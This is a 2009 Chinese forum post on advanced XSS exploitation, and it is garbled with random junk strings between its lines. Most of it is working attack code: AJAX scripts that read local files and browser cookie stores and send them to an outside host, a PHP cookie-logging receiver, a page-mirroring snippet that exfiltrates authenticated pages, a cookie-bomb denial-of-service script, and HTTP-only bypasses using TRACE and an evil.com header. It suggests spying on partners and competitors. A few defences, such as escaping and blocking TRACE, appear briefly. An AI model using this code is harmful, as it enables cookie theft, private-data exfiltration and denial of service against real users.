XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
' g0 \- `- W- u; G
. A- \/ l7 L/ i" u0 _4 X; t6 K. xXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
2 m1 Y" R. [) uhttp://bbs.tian6.com/thread-12711-1-1.html
/ n+ v, n/ P! f3 e1 N/ F* @% O转帖请保留版权
" U: y: L) K. l1 n  W. u


$ f. P5 l, G3 j5 P8 V5 m-------------------------------------------前言---------------------------------------------------------
+ K1 f# j6 V: G2 @

, k+ G2 n  ]$ i3 E4 Q& T. w0 X& d本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
! A! R% D' O0 @7 i: U
! @: D) f9 u" S2 b- d. G4 a5 ^
如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
0 K; Q$ U6 ]  [, p/ ghttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
' i1 L( K) r' s2 @3 m$ M, [http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
- n2 C" C1 T# }3 D9 o3 Zhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


9 K& y6 {, s! q2 R1 \! i( R
4 {5 f" i/ b9 a4 H# A( ^
: N  I- I: g! s4 q) k+ L8 |如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

9 f2 }$ H1 \% K7 ]& w9 yBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
: n9 R! T% b# z
QQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
5 ?" S9 \3 I1 @% D5 s3 L
..........
复制代码------------------------------------------介绍-------------------------------------------------------------
& N; C* H% C4 R/ V
5 K4 s$ N/ Q9 V; T6 q( N4 @什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
! `& D, K' E" I4 W& w. M& W. x1 i
, _/ f! ~: k" @; C5 g
5 `5 R# O8 R: y7 L
) R4 {; E: a7 k6 {跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
$ p) I/ H/ U( f8 Q. c! q8 {
; v& l  K4 Y* ?0 x* {
+ D* w& v: [$ U  S" _, k8 N
) Y' |+ e$ }7 f6 z$ d! y/ Q5 `如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
& `3 m$ C2 h; k/ R4 m. F" S, \我们在这里重点探讨以下几个问题:
' {% p0 u0 W- g
. F- c# x; \* t& Q8 g. j1        通过XSS,我们能实现什么?
4 l* a# [2 K* i! W
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
. u# n% n, @: |1 Z5 k
4        XSS漏洞在输出和输入两个方面怎么才能避免.

" n& L% g& a7 B4 r( B
+ A4 O6 V1 A/ F; \3 D" h! M8 F
: z* z+ N, Z" t1 e3 _' [1 }------------------------------------------研究正题----------------------------------------------------------

$ k5 t0 G2 q3 Q6 K- E$ t

" y* o" _3 k/ i9 }. l通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
1 I! ]4 v2 d+ s! g. {/ ^' [复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
. I% }' Q  ]/ P0 T. w1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
! g, Y7 }6 z2 G7 P) E1 H4:Http-only可以采用作为COOKIES保护方式之一.
) _) B5 g1 E) v6 [4 O' E' V
" I1 D4 `4 I' G- x



, E6 F! U' Z  Z! k4 `) v, d(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)



    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
3 j3 J4 ]; p0 M, K0 p4 j, O& S
# ?) h! j3 d" Z  ?1 ]0 Z% n: q. c5 H

    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。



    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}

. n6 H. C+ F& y# L+ G

: C/ Q0 X; T! W5 M# B3 @    function ajax_obj(){
3 }& A& X+ [3 n) D7 J8 p
7 n3 D; C' e' O4 G) z- c2 M, w    var request = false;
: P( z& s7 e  i3 c) F* m% J
    if(window.XMLHttpRequest) {
6 e# |6 }" G# g- z$ a) }
2 d; F9 P0 w2 g* j! _    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
. A7 v3 ^9 h0 B  |5 C
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

2 b" E: C2 ]" d; X; T1 m& t/ t

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

6 J' B5 f; R) g. U    for(var i=0; i<versions.length; i++) {

    try {

# q3 X5 ~  X: N, `    request = new ActiveXObject(versions);

    } catch(e) {}

    }

0 K4 d/ \# v7 K2 W' @2 I' Q) X0 ]    }

    return request;
9 _7 n; j, V: R" ~6 Z
    }
9 K, @7 f, n9 J1 ~) s
    var _x = ajax_obj();
5 u# W( z- K9 o0 Y3 w/ b7 b( U# |
    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
3 [8 n  w, B9 W6 r3 U* Y5 o3 b
    return _x.responseText;

    }

) ~7 s7 E9 [) E, V6 A& c
4 Q7 T  k& c, K3 B. k! S( K
/ \( l6 D7 u. H% W  b    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
' ^+ W9 E- b1 ]3 V$ T! D! u9 R  F
9 U  {% u$ h/ ?    alert(txt);

! Q: c1 c; F/ {6 h" f4 B' G
' f% |. r. j( ?$ u
5 K9 ~0 _. F) ?; f    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
$ g/ N+ [* V, k' w/ V( B- V
3 ^7 Y" p3 Z# K5 r+ V; M    function $(x){return document.getElementById(x)}
$ b3 h/ g9 |* t5 {' x- M+ q0 r
% i8 H( p* r0 W) A) e  n! o- e# }

    function ajax_obj(){

; [6 Z# Z: j) v4 q    var request = false;

" q- r- L1 r; N) z( J    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
8 {2 c5 f+ S# `  a. M4 U
' M4 Q& i) t3 F1 Q    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



5 e- G$ f) v* ~    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
' H$ B* S, c2 u& g8 E# U: Y
$ [& e$ B- O7 l/ t' s    for(var i=0; i<versions.length; i++) {

. q3 E( F: }6 K% ^) ?8 `$ W% l    try {
4 n' h, s5 b) c7 u' Y3 Y
3 }- l1 u( x4 K0 B* A8 W    request = new ActiveXObject(versions);

( W7 ^! L& S2 T# A2 ^2 r3 ^5 b2 f    } catch(e) {}

2 D' t' }: _3 A# R/ t1 s    }

! _1 u" f( \( Y    }

    return request;

    }
( {- j, y7 w5 G" x0 ~) ]) a3 T# R
    var _x = ajax_obj();
1 M* }# L( o1 G# ^' J6 u: a
: h3 t) b; L* W7 A    function _7or3(_m,action,argv){

' z; G) L  C9 \; X9 d# C: T    _x.open(_m,action,false);

: F; J4 I5 Y& {+ |, Q1 _0 v    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

, Y; B1 j! [, t7 |    _x.send(argv);

! {5 C- a4 C& \) X    return _x.responseText;

    }



    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
! z$ o; e5 s  C9 M2 @8 N
/ h+ J7 v6 ~5 \7 _/ y8 U1 Q# r2 a
! R8 L2 E* H! j$ M( F
    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
3 Z0 D' G! D" s' s
& p6 c$ i3 \& n1 X% W( E3 z1 S& N+ j
. s) B. Y* B/ n( I
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

: |9 M8 Z2 I, R' J8 m$ f

<?   

/*  

# V  l6 F' ~$ D+ R6 T) J2 ^; B     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
* ?; e9 A0 \8 o0 @4 k
# H' Q: \. W. I! q9 w  c     www.inbreak.net   
3 }5 M9 x1 @0 h! k- p, B
     author voidloafer@gmail.com 2009-4-22   
" w% w. k( A2 [" `0 w$ e! B
" {6 h) ~/ }: p  Y' C5 J     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

0 z) p8 H" t9 J/ u! m  d*/  

' F; G/ j' a+ d0 R# S2 {- bheader("Content-Disposition: attachment;filename=kxlzx.htm");   
& Y; g) G4 I; w( c- f
header("Content-type: application/kxlzx");   
* g0 d) }- c$ \( K* r& |
/*  

     set header, so just download html file,and open it at local.  
+ P, n) J* c# h; y2 c  ]
9 a/ X+ m( q8 @# Z4 e2 R5 G*/  

?>   
+ q$ d* v& g$ I* ^( b
/ N1 P& O+ [  g5 m  B6 y# a4 N<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
3 y$ U" h/ }% j0 p0 }9 z7 p
     <input id="input" name="cookie" value="" type="hidden">   
8 H/ P4 B, r. y# y2 i
4 S/ y3 k) r* C: e  E, U) t</form>   

<script>   

function doMyAjax(user)   

{   
* V2 }8 _* c7 `+ Z" j7 w
var time = Math.random();   

/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
" m' P# h7 y% c5 v* b9 a
4 B7 V" Q) ^& e3 u% y! dand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
. x0 n- B5 i. D3 k6 q' G" n
/ M2 D6 C0 H5 nand so on...  

: T2 Q7 p8 a2 |*/  
' [5 G7 Z0 K- A+ p  o
% T1 P, L* J) R2 `) U; |3 Lvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

( a: J* }  f- E, Z9 ~   

; z- x9 n: E' z4 @: MstartRequest(strPer);   
9 n+ P4 v* e3 T% u" c/ y6 Z1 T
, W% @) S& l+ H! J5 s! J; x- \

}   

   

function Enshellcode(txt)   

{   

  w) C7 R/ J5 S8 M  Y  t, u# y2 svar url=new String(txt);   
& m2 l5 c; ]/ y" |: O( f
0 j" |) z5 P  l" G2 M. `9 Ovar i=0,l=0,k=0,curl="";   
/ K' E- l$ k, n1 {; e
l= url.length;   

  S' h9 i1 b3 [) e& V. P' V, Bfor(;i<l;i++){   
( F* n! j  Q) o4 G1 F0 g  k* S* H
k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
* F) x  t' c  T% ^
5 D  ~* j0 g) T! s' bif (l%2){curl+="00";}else{curl+="0000";}   
# m0 A/ G1 G% k: W0 c
1 b9 p/ b& e3 P+ v+ ^curl=curl.replace(/(..)(..)/g,"%u$2$1");   

! A9 Q+ R0 t8 b0 S  K' ]6 z+ S( m5 }return curl;   

5 b. P9 x' c9 G2 `  C( p, ]. A8 z}   

, M/ W# D2 ?1 _6 ~" }. |* N, }   
% i' T3 M8 R1 }/ {3 Q2 Y, v
   
/ h% o- |$ N1 z. N* z( q4 S
+ O8 e- W2 b' e- Z# J* G. _4 svar xmlHttp;   

& C6 ~) V4 E8 M) Kfunction createXMLHttp(){   

0 v, A# _0 Z  a     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           
4 H. c2 m- K: `
     }   
5 G1 X, o" ^! P7 i
     else if(window.ActiveXObject){   

2 L! P3 S, P' k3 @, |xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
9 d  W. j9 U% A- |5 x  O# P& b
     }   

' M& D' F/ g3 s$ f2 X}   

5 o8 n; L/ ]) {# |8 l5 Y   
1 c8 @$ A1 z8 R) t! L
function startRequest(doUrl){   
+ R/ V- d$ Z  n: V
$ I' b1 E) J! c) ]   

! |" U& H6 g9 J     createXMLHttp();   

1 ?( L1 O% J6 u3 J$ Q
4 h7 s' i) O0 T& y/ n# Z
     xmlHttp.onreadystatechange = handleStateChange;   

* h" V2 D% o9 B" K! |  _

     xmlHttp.open("GET", doUrl, true);   


6 G: H. N* Z( `! B3 h
     xmlHttp.send(null);   

' a7 {  H  A; {. {


4 d: U# h4 o( ~2 |) D
}   

   
/ b9 t8 \' K3 P4 R: @, L! c
function handleStateChange(){   
1 _* X& k( t$ g- c$ F( j
5 n) _* }  j$ l- w  X% T$ }     if (xmlHttp.readyState == 4 ){   
0 B, r7 |* K" t" T1 R
     var strResponse = "";   
* _1 |* h) O2 x" |
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
& Y( y2 }. c+ x4 E. U5 E% b
2 n* }8 `# R5 W& ^. j        

     }   

}   

   
- \2 i8 B: t. u
   
* {: F! m: C8 o1 {$ Z2 n5 }7 V: i
function framekxlzxPost(text)   
- T& A/ h1 u! G  X) ]
4 j" i8 L  p# B$ E; G6 G; J! k{   
( \* |" |, z2 O& ]
     document.getElementById("input").value = Enshellcode(text);   
; c1 O& b/ x( v/ D8 G7 Z. R  C
     document.getElementById("form").submit();   

; M8 |, q5 A5 N( Z3 W5 C}   

   
: s. F, |( w" _  C' k
+ t" N8 P, _- R  n6 c2 N% {+ odoMyAjax("administrator");   
3 E' g' a- H4 F0 {% U) d
8 a1 D* X5 Y9 U1 s   
% i: n7 M+ \# [' r: L9 @8 ]# R
</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
3 n0 l$ c" O2 \0 [% F% H
var xmlHttp;  

* E# u' m6 O% ]/ J% q; m( C- Ifunction createXMLHttp(){  
2 X5 b1 {7 x+ g% h
     if(window.XMLHttpRequest){  
" u, W6 Q3 [# U# j8 x. t
) {3 \* {6 B" u+ @         xmlHttp = new XMLHttpRequest();         
( ~. K- ?3 M/ b& [( P0 a' @9 r
     }  
0 O& H  e) Q/ s3 u7 u9 s: U2 h8 I
     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

# R) Y5 y9 N6 @1 |. \+ N, i- U     }  

( U4 [& f' ?0 a  R}  
$ M/ ?/ W$ k3 Z% L
# @4 ~8 H6 d2 C   
& @9 K6 @0 H- z
function startRequest(doUrl){  
0 ^8 a  ~8 ~" e1 ^$ C* _3 ?
2 X5 C0 {) b! Q1 p           
; W3 V& [2 r% U/ x1 A4 O
4 I4 f4 g% N8 h# @     createXMLHttp();  
! M' Z, m' n3 q  D# n
3 x" @  a" c& r9 }( |: S9 F      

0 v. o7 x3 b  o6 j+ a% }1 Z     xmlHttp.onreadystatechange = handleStateChange;  
% Z4 x9 f, [+ H
      
# t- H: k) q+ \% K! D0 \0 w: `* {
0 [5 \- ?6 C/ s6 W8 O     xmlHttp.open("GET", doUrl, true);  

+ w5 W1 t& J+ d. E/ F# F      
: a, B& R$ Y$ w
     xmlHttp.send(null);  
" K$ ^- d+ S( A: M/ v6 S( t( K* O2 B
3 K7 K$ v, g# A% y      
* W" j- d9 v6 ~0 t; N$ _! N! u4 @
* ]2 {9 L6 M+ Y: h/ ^      
7 F3 h6 i$ i# E$ A: ]; _: K% A
  ?. Q( Z0 l- J: o1 F0 B}   

   

function handleStateChange(){  

2 }3 B, l* I9 e$ e9 ^- d     if (xmlHttp.readyState == 4 ){  
. d3 i. P8 B) `1 L( y
1 ~: h6 E. k- X( c% R             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
) `6 D2 \* G6 |7 s7 W/ s
9 P& p3 ?) U, f* T               
2 S" |* E* M' Q! ^: m! u
' v, @3 [9 s7 `5 M- v, n     }  
. s/ {) V/ [/ G8 W
# o# X8 m  Y6 }2 J}  
1 j1 M8 J) R$ l+ l3 g
   
4 ]" O6 r7 [! E
function doMyAjax(user,file)  

/ m' w# R! [$ d7 Y! x: I1 t% o1 J{  

         var time = Math.random();  

           

2 g% I1 }0 I' \         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
5 c! H# T& V  b. x. D/ ?/ \2 u
1 h; f! J8 P& Y           
. H4 a4 n" H3 [1 i) F9 |8 \8 k
         startRequest(strPer);  
, o. |) R6 s7 a
" R: X8 }; j. o. A. u      

}  
# ^# B1 u4 i9 A& c- \0 D
. L) y5 D) c; S' N! u   

function framekxlzxPost(text)  
; {" U! q' c* x: q# a6 i2 {/ f
. |- ~3 ]# D6 W# H9 I, H+ B{  
7 f3 X% z8 ~: S8 ]% y+ l8 ?# _
7 R' L2 G$ P% Y5 L4 A' s8 X! u     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
% E; t. B1 o7 H# _
/ d' H4 |3 C8 p: V! ]     alert(/ok/);  

& m) l& K1 Z+ C% o7 A}  

   

$ p9 A+ l1 u  v$ \# U3 zdoMyAjax('administrator','administrator@alibaba[1].txt');  

' G- [0 [( z1 {   
; q" y: P% ]4 _: ~& b! i; p( _
) F6 A9 c9 }2 b</script>
2 r+ f1 n$ @3 `9 C* g& W3 {  ~
% b0 h" ^' O6 q0 g

( m* j( t* G& E8 g. Z4 u! c

a.php
: |* Z! p' T9 P5 V' d5 K
# v/ a& E: C6 O8 V3 F$ Y

1 p; V2 [$ P1 b% F# V+ I, g6 L<?php      
% D# S0 ]* r0 m
   
/ w0 Y9 `: l3 V, ^" m
, Z6 q# s6 u% o0 O$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
) `0 Z! i, ]% U9 N" ?4 i5 s2 t4 u1 C
: ~0 w6 p' n6 \4 L! cfwrite($fp,$_GET["cookie"]);      
  E5 M# r+ U6 {6 ?2 v. l
fclose($fp);   

  p+ \! `8 {) ??>
2 u: O3 D9 H( j( D9 T8 G1 k: w% j复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
0 L7 x/ L9 L1 C7 r- N) Z1 ]% d
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
! v- m/ m) W) ]9 d' S利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

9 \/ r0 C. L9 O  _代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
/ P: F) @* x5 j& \& W! C) a' T
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

0 w0 ^% A0 k9 u( J' K2 r//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

- V* i& a9 K4 k# e. Bfunction getURL(s) {
$ ^! M; t2 O0 i( R7 \# Z4 l7 x/ q
var image = new Image();
1 }" k4 o7 m) ]7 I; t" P4 `
. e( `2 S, t1 Q& ?image.style.width = 0;
+ S8 ^- h; L; p' ^7 `
image.style.height = 0;
! \6 e9 X4 s* ]
image.src = s;

1 X! |! g1 A, g' t5 B+ S}
/ l: j. h. Q$ y3 o! c
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
! r3 m% }% Z  I, M4 {- k复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
" R) |( A, K( a! T# L6 r7 X' f( D9 s这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A

/ [% ?8 z$ W$ a" \4 V! p) t1 W/ wvar str = "";
. i. j1 h  E4 B7 p% J6 Z2 f
* J. c' j6 P9 K" ?' R8 P; kwhile (str.length < 4000){
9 v1 `* q$ V+ {6 U
  r5 {" Q$ h, E( _    str += metastr;

}


& _  u0 s' A: l8 X( i" V
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
# p/ Z# p$ o" g0 N7 ?0 T
</script>

/ R2 I2 j/ X) K1 C! W* x, |  U+ k详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
1 W9 G0 M5 v! T
. h! _( O+ m2 b+ S; X假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
" d" e8 |, ~% _1 ?攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
3 n4 ^; [! U/ F; _) V8 s9 @
# L" s' O/ l+ l9 [% x
- z$ K( F1 u/ E5 o
) p' ]$ @: v& J& v& b1 v  y$ D
0 h# u  a2 s. b! O. L

(III) Http only bypass 与 补救对策:
6 ?' m* o9 L# A& D9 i
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
3 d) v# [9 q% C+ {: k
<!--
7 K% X1 n' o  d% H* ~
function normalCookie() {

. o, L9 @- }* j7 {8 I7 s5 Pdocument.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);

4 X# k1 k1 n; v}
0 E( ?+ `- q  O' Z; w2 \9 `) ?7 ?

5 z6 M& v% r2 Z+ C; y% f8 P, V
* v  Y/ y" C+ O

1 B; {% z0 R" n, \+ pfunction httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
9 Q3 L# F1 Q3 [. ]+ h+ C
alert(document.cookie);}
1 H! i2 g( g3 I, K! N6 H/ q
2 z* }3 M/ v4 E8 m% R8 Z

//-->

</script>

/ K: Y# ~# }$ u

# t6 {, I- ~" g5 v% P1 J! G0 p% o<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
$ e; R- |8 P. M8 L* z% v0 q( C7 c! h复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
: T1 o  U; b: H; i' x! q& x


6 ^: O; Q- L1 ~' a4 i5 dvar request = false;

; i/ c4 e% p5 M* T3 B8 j        if(window.XMLHttpRequest) {
, |- P5 v, ]7 V' q; B
            request = new XMLHttpRequest();

7 c0 l& F8 B. M5 V( L: @            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');

' G; L  v8 R. ~; W+ A2 Z( _            }

- c8 H2 T: K7 _' B5 D  ?        } else if(window.ActiveXObject) {

/ S& g: \9 O2 T4 k# C  P7 w            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

8 I( R6 D$ b- S# `                try {
4 p  w. h& B9 ~
                    request = new ActiveXObject(versions);
) s% Y3 v. C0 t  q
                } catch(e) {}

: ^. H4 ]* m: u( N4 O  d9 ]0 k% S: ~            }
+ g: I* a# I; ~7 a* o* h
9 X1 R  @5 D' u) a        }

% a# P# F: Q5 r& F5 G4 W  JxmlHttp=request;

2 V8 @$ p) v+ }# |; ~, d; SxmlHttp.open("TRACE","http://www.vul.com",false);

8 g! U8 C2 ~; p5 U6 h" C0 DxmlHttp.send(null);
* ^! y; z4 b  A7 U
xmlDoc=xmlHttp.responseText;

alert(xmlDoc);

. L- j5 \$ y8 _. h0 z# B4 t7 Y! Z</script>
' g+ N% p& k( U0 Q  V0 W7 y复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
/ S% d- A! o( _) ^# `  }. `  b7 C
; l8 F7 u9 i! ?; _; p  Bvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
' J7 W: O2 ?; ~& L+ \
' J0 G) c# Y' s/ O% |XmlHttp.open("GET","http://www.google.com",false);

6 V) K" M, p$ s7 C* \. HXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
5 y' d! I$ @; J
XmlHttp.send(null);
6 k9 ]+ S$ j* }. @; m. p
var resource=xmlHttp.responseText

# H1 N- H6 f. c) X! Cresource.search(/cookies/);

  Z+ ~9 U  m, e) D7 r5 m......................
" u% U- m! O% M! n$ S7 j' ]6 f
</script>


2 Q# [: k# ?0 _% ?8 c
2 D) m, A: {6 Z& T+ E" Z, L

如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

/ `. P/ L' D& s6 c[code]

RewriteEngine On

' E. G' C) ?) k* d" N4 ORewriteCond %{REQUEST_METHOD} ^TRACE

0 U6 ^" h9 |7 N% D9 j6 f( g- q% ~RewriteRule .* - [F]

5 R3 x0 n1 e- o# \
) q3 H4 ~; N: |- N, a0 o
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
9 x: c4 }3 x: n- o; L7 N* I
acl TRACE method TRACE
$ `2 z9 a  h) P( g- c
...
+ F7 M" U* l5 e$ M1 u
http_access deny TRACE
! b) E4 ^( \% L6 a; _' l复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
3 R* _- z3 q" h6 |* ?
; P- L( x  q8 c2 g; svar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

3 D' t' o, Y9 N, V8 B) gXmlHttp.open("GET","http://www.google.com",false);
